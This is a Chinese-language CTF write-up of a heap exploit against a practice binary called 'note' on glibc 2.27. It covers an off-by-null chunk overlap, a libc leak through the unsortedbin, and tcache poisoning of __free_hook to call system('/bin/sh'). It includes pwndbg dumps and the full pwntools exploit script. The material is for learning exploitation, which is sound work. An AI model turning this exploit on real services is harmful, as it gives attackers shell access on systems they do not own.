修改了chunk2的“chunk->presize”,使chunk2误以为chunk0是它相邻的上一个chunk,导致了后续释放chunk2时,“chunk0,chunk1,chunk2”三者合并进入unsortedbin
// 溢出的“\x00”把P位变为“0”
连续两次malloc都会在unsortedbin中申请:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 pwndbg> x/20xg 0x55b7be1ba250 0x55b7be1ba250 : 0x0000000000000000 0x0000000000000081 0x55b7be1ba260 : 0x00007f0d34c9000a 0x00007f0d34c9bf90 0x55b7be1ba270 : 0x6161616161616161 0x6161616161616161 0x55b7be1ba280 : 0x6161616161616161 0x6161616161616161 0x55b7be1ba290 : 0x6161616161616161 0x6161616161616161 0x55b7be1ba2a0 : 0x6161616161616161 0x6161616161616161 0x55b7be1ba2b0 : 0x6161616161616161 0x6161616161616161 0x55b7be1ba2c0 : 0x6161616161616161 0x6161616161616161 0x55b7be1ba2d0 : 0x6161616161616161 0x0000000000000081 0x55b7be1ba2e0 : 0x00007f0d34c9000a 0x00007f0d34c9bca0 pwndbg> 0x55b7be1ba2f0 : 0x6161616161616161 0x6161616161616161 0x55b7be1ba300 : 0x6161616161616161 0x6161616161616161 0x55b7be1ba310 : 0x6161616161616161 0x6161616161616161 0x55b7be1ba320 : 0x6161616161616161 0x6161616161616161 0x55b7be1ba330 : 0x6161616161616161 0x6161616161616161 0x55b7be1ba340 : 0x6161616161616161 0x6161616161616161 0x55b7be1ba350 : 0x0000000000000100 0x0000000000000201 0x55b7be1ba360 : 0x00007f0d34c9bca0 0x00007f0d34c9bca0 0x55b7be1ba370 : 0x6161616161616161 0x6161616161616161 0x55b7be1ba380 : 0x6161616161616161 0x6161616161616161
“chunk_free”在“chunk_new”的下方,理论上,新申请的chunk都可以打印“main_arena”
但是“add”中,强行把输入结束后的下一个字节用“\x00”覆盖了,导致puts中断
连续申请两个大小为“0x80”的chunk后,chunk_free刚好与chunk1_old重合,导致“arena_main”被写入chunk1_old,而chunk1_old原本就在“list”中,可以直接打印
最后打free_hook就可以了:
1 2 3 4 5 6 add(0 , 0x60 , '\n' ) delete(0 ) edit(1 , p64(free_hook)) add(1 , 0x60 , '/bin/sh\x00' ) add(2 , 0x60 , p64(system_libc)) delete(1 )
再次申请“0x70”字节的chunk,实际上申请了chunk1_old(和chunk0_new重合),释放然后进入tcachebin,在chunk1_old中写入的“free_hook”也会进入tcachebin:
1 2 3 tcachebins 0x70 [ 1 ]: 0x55eda3495360 —▸ 0x7fb6d7a518e8 (__free_hook) ◂— ...0x100 [ 7 ]: 0x55eda3495b60 —▸ 0x55eda3495a60 —▸ 0x55eda3495960 —▸ 0x55eda3495860 —▸ 0x55eda3495760 —▸ 0x55eda3495660 —▸ 0x55eda3495560 ◂— 0x0
“add(1, 0x60, ‘/bin/sh\x00’)”会申请“0x55eda3495360”
“add(2, 0x60, p64(system_libc))”会申请“0x7fb6d7a518e8”
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from pwn import *p=process("./note" ) elf=ELF("./note" ) libc = ELF("./libc-2.27.so" ) def delete (index ): p.sendlineafter('>> ' ,'3' ) p.sendlineafter('index?\n>> ' ,str (index)) def add (index,size,content ): p.sendlineafter('>> ' ,'1' ) p.sendlineafter('index?\n>> ' ,str (index)) p.sendlineafter('size?\n>> ' ,str (size)) p.sendafter('content?\n>> ' ,content) def show (index ): p.sendlineafter('>> ' ,'2' ) p.sendlineafter('index?\n>> ' ,str (index)) def edit (index,content ): p.sendlineafter('>> ' ,'4' ) p.sendlineafter('index?\n>> ' ,str (index)) p.send(content) def farewell (): p.sendlineafter('>> ' ,'4' ) for i in range (0 , 11 ): add(i, 0xF8 , "a" *0xF0 +"b" *0x8 ) for i in range (3 , 10 ): delete(i) delete(0 ) edit(1 , 'a' * 0xF0 + p64(0x200 )) delete(2 ) add(0 , 0x70 , "\n" ) add(0 , 0x70 , "\n" ) show(1 ) leak_addr=u64(p.recvuntil('\n' )[:-1 ].ljust(8 ,'\x00' )) libc_base=leak_addr-0x3ebca0 free_hook=libc_base+libc.sym['__free_hook' ] system_libc=libc_base+libc.sym['system' ] success("leak_addr >>" +hex (leak_addr)) success("libc_base >>" +hex (libc_base)) success("free_hook >>" +hex (free_hook)) success("system_libc >>" +hex (system_libc)) add(0 , 0x60 , '\n' ) delete(0 ) edit(1 , p64(free_hook)) add(1 , 0x60 , '/bin/sh\x00' ) add(2 , 0x60 , p64(system_libc)) delete(1 ) p.interactive()